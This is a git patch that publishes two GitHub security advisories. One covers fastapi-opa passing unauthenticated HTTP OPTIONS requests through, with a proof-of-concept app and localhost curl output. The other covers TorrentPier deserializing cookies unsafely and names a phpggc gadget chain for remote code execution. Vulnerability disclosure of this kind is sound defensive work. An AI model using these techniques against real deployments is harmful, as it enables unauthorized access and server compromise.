From a058c6645a10174cc9b3dc096e867a3d5a5acec8 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 15 Jul 2024 17:50:24 +0000 Subject: [PATCH] Publish Advisories GHSA-5f5c-8rvc-j8wf GHSA-fg86-4c2r-7wxw --- .../GHSA-5f5c-8rvc-j8wf.json | 69 +++++++++++++++++++ .../GHSA-fg86-4c2r-7wxw.json | 69 +++++++++++++++++++ 2 files changed, 138 insertions(+) create mode 100644 advisories/github-reviewed/2024/07/GHSA-5f5c-8rvc-j8wf/GHSA-5f5c-8rvc-j8wf.json create mode 100644 advisories/github-reviewed/2024/07/GHSA-fg86-4c2r-7wxw/GHSA-fg86-4c2r-7wxw.json diff --git a/advisories/github-reviewed/2024/07/GHSA-5f5c-8rvc-j8wf/GHSA-5f5c-8rvc-j8wf.json b/advisories/github-reviewed/2024/07/GHSA-5f5c-8rvc-j8wf/GHSA-5f5c-8rvc-j8wf.json new file mode 100644 index 00000000000..9b5fae7c779 --- /dev/null +++ b/advisories/github-reviewed/2024/07/GHSA-5f5c-8rvc-j8wf/GHSA-5f5c-8rvc-j8wf.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5f5c-8rvc-j8wf", + "modified": "2024-07-15T17:49:25Z", + "published": "2024-07-15T17:49:25Z", + "aliases": [ + "CVE-2024-40627" + ], + "summary": "OpaMiddleware does not filter HTTP OPTIONS requests", + "details": "### Summary\n\nHTTP `OPTIONS` requests are always allowed by `OpaMiddleware`, even when they lack authentication, and are passed through directly to the application.\n\nThe maintainer uncertain whether this should be classed as a \"bug\" or \"security issue\" – but is erring on the side of \"security issue\" as an application could reasonably assume OPA controls apply to *all* HTTP methods, and it bypasses more sophisticated policies.\n\n### Details\n\n`OpaMiddleware` allows all HTTP `OPTIONS` requests without evaluating it against any policy:\n\nhttps://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80\n\nIf an application provides different responses to HTTP `OPTIONS` requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application (CWE-204).\n\n### PoC\n\nThis toy application is based on the behaviour of an app[^1] which can use `fastapi-opa`. The app uses the `Allow` header of a HTTP `OPTIONS` to indicate whether an entity is writable on a \"system\" level, and returns HTTP 404 for unknown entities:\n\n[^1]: an open source app, not written by me\n\n```python\n# Run with: fastapi dev opa-poc.py --port 9999\nfrom fastapi import FastAPI, Response, HTTPException\nfrom fastapi_opa import OPAConfig, OPAMiddleware\nfrom fastapi_opa.auth.auth_api_key import APIKeyAuthentication, APIKeyConfig\n\n# OPA doesn't actually need to be running for this example\nopa_host = \"http://localhost:8181\"\napi_key_config = APIKeyConfig(\n header_key = 'ApiKey',\n api_key = 'secret-key',\n)\napi_key_auth = APIKeyAuthentication(api_key_config)\nopa_config = OPAConfig(authentication=api_key_auth, opa_host=opa_host)\n\napp = FastAPI()\napp.add_middleware(OPAMiddleware, config=opa_config)\n\nWRITABLE_ITEMS = {\n 1: True,\n 2: False,\n}\n\n\n@app.get(\"/\")\nasync def root() -> dict:\n return {\"msg\": \"success\"}\n\n@app.get(\"/items/{item_id}\")\nasync def read_item(item_id: int):\n if item_id not in WRITABLE_ITEMS:\n raise HTTPException(status_code=404)\n return {\"item_id\": item_id}\n\n@app.options(\"/items/{item_id}\")\nasync def read_item_options(response: Response, item_id: int) -> dict:\n if item_id not in WRITABLE_ITEMS:\n raise HTTPException(status_code=404)\n\n response.headers[\"Allow\"] = \"OPTIONS, GET\" + (\", POST\" if WRITABLE_ITEMS[item_id] else \"\")\n return {}\n```\n\nAs expected, HTTP `GET` requests fail consistently when unauthenticated, regardless of whether the entity exists, because `read_item()` is never executed:\n\n```\n$ curl -i 'http://localhost:9999/items/1'\nHTTP/1.1 401 Unauthorized\nserver: uvicorn\ncontent-length: 26\ncontent-type: application/json\n\n{\"message\":\"Unauthorized\"}\n\n$ curl -i 'http://localhost:9999/items/3'\nHTTP/1.1 401 Unauthorized\nserver: uvicorn\ncontent-length: 26\ncontent-type: application/json\n\n{\"message\":\"Unauthorized\"}\n```\n\nHowever, HTTP `OPTIONS` requests are never authenticated by `OpaMiddleware`, so are passed straight through to `read_item_options()` and returned to unauthenticated users:\n\n```\n$ curl -i -X OPTIONS 'http://localhost:9999/items/1'\nHTTP/1.1 200 OK\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nallow: OPTIONS, GET, POST\n\n{}\n\n$ curl -i -X OPTIONS 'http://localhost:9999/items/2'\nHTTP/1.1 200 OK\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nallow: OPTIONS, GET\n\n{}\n\n$ curl -i -X OPTIONS 'http://localhost:9999/items/3'\nHTTP/1.1 404 Not Found\nserver: uvicorn\ncontent-length: 22\ncontent-type: application/json\n\n{\"detail\":\"Not Found\"}\n```\n\n### Versions\n\n```\nfastapi-opa==2.0.0\nfastapi==0.111.0\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "fastapi-opa" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.0.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/busykoala/fastapi-opa/security/advisories/GHSA-5f5c-8rvc-j8wf" + }, + { + "type": "WEB", + "url": "https://github.com/busykoala/fastapi-opa/commit/9458845a6f6f414c0b79587fae83d7f14d74dfb4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/busykoala/fastapi-opa" + }, + { + "type": "WEB", + "url": "https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-204" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-07-15T17:49:25Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/07/GHSA-fg86-4c2r-7wxw/GHSA-fg86-4c2r-7wxw.json b/advisories/github-reviewed/2024/07/GHSA-fg86-4c2r-7wxw/GHSA-fg86-4c2r-7wxw.json new file mode 100644 index 00000000000..2542048e8a3 --- /dev/null +++ b/advisories/github-reviewed/2024/07/GHSA-fg86-4c2r-7wxw/GHSA-fg86-4c2r-7wxw.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-fg86-4c2r-7wxw", + "modified": "2024-07-15T17:48:26Z", + "published": "2024-07-15T17:48:26Z", + "aliases": [ + "CVE-2024-40624" + ], + "summary": "TorrentPier Deserialization of Untrusted Data vulnerability", + "details": "### Summary\n\nIn `torrentpier/library/includes/functions.php`, `get_tracks()` uses the unsafe native PHP serialization format to deserialize user-controlled cookies:\n\nhttps://github.com/torrentpier/torrentpier/blob/84f6c9f4a081d9ffff4c233098758280304bf50f/library/includes/functions.php#L41-L60\n\n### PoC\n\nOne can use [`phpggc`](https://github.com/ambionics/phpggc/) and the chain `Guzzle/FW1` to write PHP code to an arbitrary file, and execute commands on the system. For instance, the cookie `bb_t` will be deserialized when browsing to `viewforum.php`.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "torrentpier/torrentpier" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "2.4.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/torrentpier/torrentpier/security/advisories/GHSA-fg86-4c2r-7wxw" + }, + { + "type": "WEB", + "url": "https://github.com/torrentpier/torrentpier/commit/ed37e6e522f345f2b46147c6f53c1ab6dec1db9e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/torrentpier/torrentpier" + }, + { + "type": "WEB", + "url": "https://github.com/torrentpier/torrentpier/blob/84f6c9f4a081d9ffff4c233098758280304bf50f/library/includes/functions.php#L41-L60" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-07-15T17:48:26Z", + "nvd_published_at": null + } +} \ No newline at end of file